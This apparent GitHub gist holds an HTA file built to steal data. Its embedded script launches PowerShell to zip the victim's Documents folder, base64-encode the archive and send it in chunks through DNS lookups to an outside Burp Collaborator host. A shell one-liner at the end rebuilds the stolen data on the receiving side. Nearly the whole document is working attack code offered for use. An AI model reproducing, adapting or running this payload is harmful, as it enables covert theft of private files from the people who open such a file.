Created
October 12, 2019 15:18
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Save hateshape/31876e6efbae78cf0317d38b26afb482 to your computer and use it in GitHub Desktop.
HTA File to Zip All Files in a Users' Documents Directory and Exfiltrate Via DNS
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| <html><head><meta name=ProgId content=htafile></head> | |
| <hta:application id=x><script> | |
| try { if (x.commandLine != ""){ | |
| new ActiveXObject('WScript.Shell').Run("powershell.exe -command $a00=(Resolve-Path ~);Compress-Archive -Path $a00/Documents -DestinationPath 'a.zip';$c=[Convert]::ToBase64String([IO.File]::ReadAllBytes('a.zip'));$r1=$c | Foreach-Object {$_.Replace('=', 'EQ')};$r2=$r1 | Foreach-Object {$_.Replace('/', 'SLASH')};$r3=$r2 | Foreach-Object {$_.Replace('+', 'PLUS')};$e=($r3 -split '(.{50})'| ? {$_});for ($i=0;$i -lt $e.Length; $i++) { $f=$e[$i]+'.'+$i.ToString()+'.u61vj1t81tyg2t3az0hb4ujvum0co1.burpcollaborator.net';nslookup -type=A $f;sleep(2)}",1) | |
| } | |
| } | |
| catch(ex){ alert('Error');} | |
| </script> | |
| </html> |
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Make the Zip File Have Happy Base64 Data:
awk -F. '{print $2, $1}' zipfile.txt | cut -d' ' -f2 | sed ':a;N;$!ba;s/\n//g' | sed 's/PLUS/+/g' | sed 's/SLASH/\//g' | sed 's/EQEQ/==/g'